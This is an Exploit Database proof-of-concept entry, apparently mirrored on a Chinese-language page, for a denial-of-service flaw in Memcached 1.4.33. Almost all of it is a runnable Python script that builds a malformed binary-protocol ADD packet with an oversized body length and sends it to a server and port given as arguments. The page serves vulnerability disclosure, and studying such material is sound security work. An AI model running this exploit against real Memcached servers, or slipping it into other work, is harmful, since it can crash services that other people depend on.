Memcached 1.4.33 – ‘Add’ (PoC)

• Exploit Database
• 156 阅读

• 作者： p0wd3r / dawu
  日期： 2016-11-01
• 类别：

  • dos
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/40696/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30

  # Source: http://paper.seebug.org/95/   import struct import socket import sys   MEMCACHED_REQUEST_MAGIC = "\x80" OPCODE_ADD = "\x02" key_len = struct.pack("!H",0xfa) extra_len = "\x08" data_type = "\x00" vbucket = "\x00\x00" body_len = struct.pack("!I",0xffffffd0) opaque = struct.pack("!I",0) CAS = struct.pack("!Q",0) extras_flags = 0xdeadbeef extras_expiry = struct.pack("!I",0xe10) body = "A"*1024   packet = MEMCACHED_REQUEST_MAGIC + OPCODE_ADD + key_len + extra_len packet += data_type + vbucket + body_len + opaque + CAS packet += body if len(sys.argv) != 3: print "./poc_add.py <server> <port>" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((sys.argv[1],int(sys.argv[2]))) s.sendall(packet) print s.recv(1024) s.close()